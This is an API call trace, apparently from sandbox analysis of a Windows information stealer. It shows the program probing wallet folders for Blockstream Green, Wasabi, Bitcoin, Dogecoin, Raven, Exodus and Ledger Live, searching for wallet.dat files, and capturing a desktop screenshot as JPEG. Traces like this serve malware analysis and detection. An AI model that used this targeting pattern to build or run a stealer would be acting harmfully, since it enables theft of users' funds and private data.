[0055.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da08, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.138] lstrcatA (in: lpString1="\\Wallets\\Blockstream Green\\", lpString2="h" | out: lpString1="\\Wallets\\Blockstream Green\\h") returned="\\Wallets\\Blockstream Green\\h"
[0055.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da58, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.138] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Blockstream\\Green\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\blockstream\\green\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da78, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.139] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Blockstream Green\\h" | out: lpString1="\\Wallets\\Blockstream Green\\h") returned="\\Wallets\\Blockstream Green\\h"
[0055.139] lstrlenA (lpString="/Wallets/Blockstream Green/h") returned 28
[0055.139] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Blockstream\\Green\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\blockstream\\green\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.139] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73
[0055.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=73, lpWideCharStr=0xe055348, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\WalletWasabi\\Client\\Wallets\\*.json") returned 73
[0055.139] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\WalletWasabi\\Client\\Wallets\\*.json" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\walletwasabi\\client\\wallets\\*.json"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0055.139] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0055.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d958, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da68, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67
[0055.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=67, lpWideCharStr=0x6704f8, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\WalletWasabi\\Client\\Wallets\\") returned 67
[0055.140] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\WalletWasabi\\Client\\Wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\walletwasabi\\client\\wallets")) returned 0xffffffff
[0055.140] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.140] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.140] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.140] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.140] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.140] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.140] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.140] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.140] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.140] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Wasabi Wallet" | out: lpString1="\\Wallets\\Wasabi Wallet") returned="\\Wallets\\Wasabi Wallet"
[0055.140] lstrcatA (in: lpString1="\\Wallets\\Wasabi Wallet", lpString2="\\" | out: lpString1="\\Wallets\\Wasabi Wallet\\") returned="\\Wallets\\Wasabi Wallet\\"
[0055.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d9b8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.140] lstrcatA (in: lpString1="\\Wallets\\Wasabi Wallet\\", lpString2="" | out: lpString1="\\Wallets\\Wasabi Wallet\\") returned="\\Wallets\\Wasabi Wallet\\"
[0055.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da48, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.140] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\WalletWasabi\\Client\\Wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\walletwasabi\\client\\wallets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d968, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.140] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Wasabi Wallet\\" | out: lpString1="\\Wallets\\Wasabi Wallet\\") returned="\\Wallets\\Wasabi Wallet\\"
[0055.141] lstrlenA (lpString="/Wallets/Wasabi Wallet/") returned 23
[0055.141] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\WalletWasabi\\Client\\Wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\walletwasabi\\client\\wallets"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.141] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199afc | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.141] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0055.141] wsprintfA (in: param_1=0x19a05c, param_2="%s\\%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Bitcoin\\wallets\\\\*") returned 57
[0055.141] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Bitcoin\\wallets\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bitcoin\\wallets\\*"), lpFindFileData=0x199f1c | out: lpFindFileData=0x199f1c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x76f06588, ftLastAccessTime.dwLowDateTime=0xa902c5ba, ftLastAccessTime.dwHighDateTime=0x58, ftLastWriteTime.dwLowDateTime=0x670000, ftLastWriteTime.dwHighDateTime=0x50, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9b000398, dwReserved1=0x0, cFileName="\x03", cAlternateFileName="")) returned 0xffffffff
[0055.141] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199ae8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.141] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0055.141] wsprintfA (in: param_1=0x19a048, param_2="%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Bitcoin\\\\*wallet*.dat") returned 60
[0055.141] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Bitcoin\\\\*wallet*.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bitcoin\\*wallet*.dat"), lpFindFileData=0x199f08 | out: lpFindFileData=0x199f08*(dwFileAttributes=0x411610, ftCreationTime.dwLowDateTime=0x670fd0, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x6ca860, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x76f06588, nFileSizeLow=0xa902c5ba, dwReserved0=0x58, dwReserved1=0x670000, cFileName="P", cAlternateFileName="\x98\x04g")) returned 0xffffffff
[0055.141] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199ad4 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.141] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0055.141] wsprintfA (in: param_1=0x19a034, param_2="%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Dogecoin\\\\*wallet*.dat") returned 61
[0055.141] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Dogecoin\\\\*wallet*.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\dogecoin\\*wallet*.dat"), lpFindFileData=0x199ef4 | out: lpFindFileData=0x199ef4*(dwFileAttributes=0x411610, ftCreationTime.dwLowDateTime=0x670fd0, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x6ca7a0, ftLastAccessTime.dwHighDateTime=0x19ab80, ftLastWriteTime.dwLowDateTime=0x411610, ftLastWriteTime.dwHighDateTime=0x670fd0, nFileSizeHigh=0xffffffff, nFileSizeLow=0x6ca860, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="þÿÿÿ\x80")) returned 0xffffffff
[0055.141] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199ac0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.141] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0055.141] wsprintfA (in: param_1=0x19a020, param_2="%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Raven\\\\*wallet*.dat") returned 58
[0055.141] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Raven\\\\*wallet*.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\raven\\*wallet*.dat"), lpFindFileData=0x199ee0 | out: lpFindFileData=0x199ee0*(dwFileAttributes=0x411610, ftCreationTime.dwLowDateTime=0x670fd0, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x6ca7a0, ftLastAccessTime.dwHighDateTime=0x19ab80, ftLastWriteTime.dwLowDateTime=0x411610, ftLastWriteTime.dwHighDateTime=0x670fd0, nFileSizeHigh=0xffffffff, nFileSizeLow=0x6ca7a0, dwReserved0=0x19ab80, dwReserved1=0x411610, cFileName="Ð\x0fg", cAlternateFileName="\x01")) returned 0xffffffff
[0055.141] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199b10 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.141] wsprintfA (in: param_1=0x19a164, param_2="%s\\%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Exodus\\backups\\*") returned 55
[0055.141] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Exodus\\backups\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\backups\\*"), lpFindFileData=0x199f20 | out: lpFindFileData=0x199f20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x76f06588, ftCreationTime.dwHighDateTime=0xa902c5ba, ftLastAccessTime.dwLowDateTime=0x58, ftLastAccessTime.dwHighDateTime=0x670000, ftLastWriteTime.dwLowDateTime=0x50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x9b000398, dwReserved0=0x0, dwReserved1=0x3000003, cFileName="", cAlternateFileName="allet*.dat")) returned 0xffffffff
[0055.142] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.142] lstrcatA (in: lpString1="\\", lpString2="Ledger Live" | out: lpString1="\\Ledger Live") returned="\\Ledger Live"
[0055.142] lstrcatA (in: lpString1="\\Ledger Live", lpString2="\\" | out: lpString1="\\Ledger Live\\") returned="\\Ledger Live\\"
[0055.142] lstrcatA (in: lpString1="", lpString2="Ledger Live" | out: lpString1="Ledger Live") returned="Ledger Live"
[0055.142] lstrcatA (in: lpString1="Ledger Live", lpString2="\\" | out: lpString1="Ledger Live\\") returned="Ledger Live\\"
[0055.142] lstrcatA (in: lpString1="Ledger Live\\", lpString2="Local Storage" | out: lpString1="Ledger Live\\Local Storage") returned="Ledger Live\\Local Storage"
[0055.142] lstrcatA (in: lpString1="Ledger Live\\Local Storage", lpString2="\\" | out: lpString1="Ledger Live\\Local Storage\\") returned="Ledger Live\\Local Storage\\"
[0055.142] lstrcatA (in: lpString1="Ledger Live\\Local Storage\\", lpString2="leveldb" | out: lpString1="Ledger Live\\Local Storage\\leveldb") returned="Ledger Live\\Local Storage\\leveldb"
[0055.142] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.142] lstrcatA (in: lpString1="\\", lpString2="Ledger Live\\Local Storage\\leveldb" | out: lpString1="\\Ledger Live\\Local Storage\\leveldb") returned="\\Ledger Live\\Local Storage\\leveldb"
[0055.142] lstrcatA (in: lpString1="\\Ledger Live\\Local Storage\\leveldb", lpString2="\\" | out: lpString1="\\Ledger Live\\Local Storage\\leveldb\\") returned="\\Ledger Live\\Local Storage\\leveldb\\"
[0055.142] lstrcatA (in: lpString1="", lpString2="Ledger Live" | out: lpString1="Ledger Live") returned="Ledger Live"
[0055.142] lstrcatA (in: lpString1="Ledger Live", lpString2="\\" | out: lpString1="Ledger Live\\") returned="Ledger Live\\"
[0055.142] lstrcatA (in: lpString1="Ledger Live\\", lpString2="Session Storage" | out: lpString1="Ledger Live\\Session Storage") returned="Ledger Live\\Session Storage"
[0055.142] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.142] lstrcatA (in: lpString1="\\", lpString2="Ledger Live\\Session Storage" | out: lpString1="\\Ledger Live\\Session Storage") returned="\\Ledger Live\\Session Storage"
[0055.142] lstrcatA (in: lpString1="\\Ledger Live\\Session Storage", lpString2="\\" | out: lpString1="\\Ledger Live\\Session Storage\\") returned="\\Ledger Live\\Session Storage\\"
[0055.142] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199afc | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.142] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0055.142] wsprintfA (in: param_1=0x19a05c, param_2="%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Ledger Live\\\\*.*") returned 55
[0055.142] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Ledger Live\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\ledger live\\*.*"), lpFindFileData=0x199f1c | out: lpFindFileData=0x199f1c*(dwFileAttributes=0xffffffff, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x76f06588, ftLastAccessTime.dwLowDateTime=0xa902c5ba, ftLastAccessTime.dwHighDateTime=0x58, ftLastWriteTime.dwLowDateTime=0x670000, ftLastWriteTime.dwHighDateTime=0x50, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9b000398, dwReserved1=0x0, cFileName="\x03", cAlternateFileName="\\\\*wallet*.dat")) returned 0xffffffff
[0055.142] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199ae8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.142] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0055.143] wsprintfA (in: param_1=0x19a048, param_2="%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Ledger Live\\Local Storage\\leveldb\\\\*.*") returned 77
[0055.143] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Ledger Live\\Local Storage\\leveldb\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\ledger live\\local storage\\leveldb\\*.*"), lpFindFileData=0x199f08 | out: lpFindFileData=0x199f08*(dwFileAttributes=0x411610, ftCreationTime.dwLowDateTime=0x670fd0, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x447160, ftLastAccessTime.dwHighDateTime=0x447160, ftLastWriteTime.dwLowDateTime=0xffffffff, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x76f06588, nFileSizeLow=0xa902c5ba, dwReserved0=0x58, dwReserved1=0x670000, cFileName="P", cAlternateFileName="pData\\Roaming\\\\RC:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Ledger Live\\Local Storage\\leveldb\\\\*.*")) returned 0xffffffff
[0055.143] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199ad4 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.143] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0055.143] wsprintfA (in: param_1=0x19a034, param_2="%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Ledger Live\\Session Storage\\\\*.*") returned 71
[0055.143] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Ledger Live\\Session Storage\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\ledger live\\session storage\\*.*"), lpFindFileData=0x199ef4 | out: lpFindFileData=0x199ef4*(dwFileAttributes=0x411610, ftCreationTime.dwLowDateTime=0x670fd0, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x447160, ftLastAccessTime.dwHighDateTime=0x19ab80, ftLastWriteTime.dwLowDateTime=0x411610, ftLastWriteTime.dwHighDateTime=0x670fd0, nFileSizeHigh=0xffffffff, nFileSizeLow=0x447160, dwReserved0=0x447160, dwReserved1=0xffffffff, cFileName="", cAlternateFileName="sers\\RDhJ0CNFevzC:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\\\Ledger Live\\Session Storage\\\\*.*")) returned 0xffffffff
[0055.143] Sleep (dwMilliseconds=0x1)
[0055.158] Sleep (dwMilliseconds=0x3)
[0055.174] Sleep (dwMilliseconds=0x3)
[0055.190] Sleep (dwMilliseconds=0x7)
[0055.206] lstrcatA (in: lpString1="", lpString2="none;" | out: lpString1="none;") returned="none;"
[0055.206] lstrcatA (in: lpString1="", lpString2="none" | out: lpString1="none") returned="none"
[0055.206] Sleep (dwMilliseconds=0x1)
[0055.222] Sleep (dwMilliseconds=0x3)
[0055.237] Sleep (dwMilliseconds=0x3)
[0055.274] Sleep (dwMilliseconds=0x7)
[0055.283] GdiplusStartup (in: token=0x19a990, input=0x19a978, output=0x0 | out: token=0x19a990, output=0x0) returned 0x0
[0055.287] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x19a9a0 | out: ppstm=0x19a9a0*=0x713620) returned 0x0
[0055.288] GetDesktopWindow () returned 0x10010
[0055.288] GetWindowRect (in: hWnd=0x10010, lpRect=0x19a9a8 | out: lpRect=0x19a9a8) returned 1
[0055.288] GetDC (hWnd=0x10010) returned 0xc0108ec
[0055.288] CreateCompatibleDC (hdc=0xc0108ec) returned 0x37010976
[0055.288] CreateCompatibleBitmap (hdc=0xc0108ec, cx=1440, cy=900) returned 0xffffffffd705053c
[0055.320] SelectObject (hdc=0x37010976, h=0xd705053c) returned 0x185000f
[0055.321] BitBlt (hdc=0x37010976, x=0, y=0, cx=1440, cy=900, hdcSrc=0xc0108ec, x1=0, y1=0, rop=0xcc0020) returned 1
[0055.639] GdipCreateBitmapFromHBITMAP (hbm=0xd705053c, hpal=0x0, bitmap=0x19a9a4) returned 0x0
[0055.704] GdipGetImageEncodersSize (numEncoders=0x19a958, size=0x19a954) returned 0x0
[0055.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x410) returned 0xe056328
[0055.705] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0xe056328 | out: encoders=0xe056328) returned 0x0
[0055.705] StrCmpCW (pszStr1="image/bmp", pszStr2="image/jpeg") returned -8
[0055.705] StrCmpCW (pszStr1="image/jpeg", pszStr2="image/jpeg") returned 0
[0055.705] GdipSaveImageToStream (image=0xe501f08, stream=0x713620, clsidEncoder=0x19a9b8*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0
[0055.745] GetHGlobalFromStream (in: pstm=0x713620, phglobal=0x19a998 | out: phglobal=0x19a998) returned 0x0
[0055.745] GlobalLock (hMem=0xe510004) returned 0xf2b0048
[0055.745] GlobalSize (hMem=0xe510004) returned 0x14665
[0055.745] lstrcpyA (in: lpString1=0x19a808, lpString2="\\screenshot.jpg" | out: lpString1="\\screenshot.jpg") returned="\\screenshot.jpg"
[0055.745] lstrlenA (lpString="/screenshot.jpg") returned 15
[0055.745] StrCmpCA (pszStr1=".jpg", pszStr2=".Z") returned 16
[0055.745] StrCmpCA (pszStr1=".jpg", pszStr2=".zip") returned -16
[0055.745] StrCmpCA (pszStr1=".jpg", pszStr2=".zoo") returned -16
[0055.745] StrCmpCA (pszStr1=".jpg", pszStr2=".arc") returned 9
[0055.745] StrCmpCA (pszStr1=".jpg", pszStr2=".lzh") returned -2
[0055.745] StrCmpCA (pszStr1=".jpg", pszStr2=".arj") returned 9
[0055.745] StrCmpCA (pszStr1=".jpg", pszStr2=".gz") returned 3
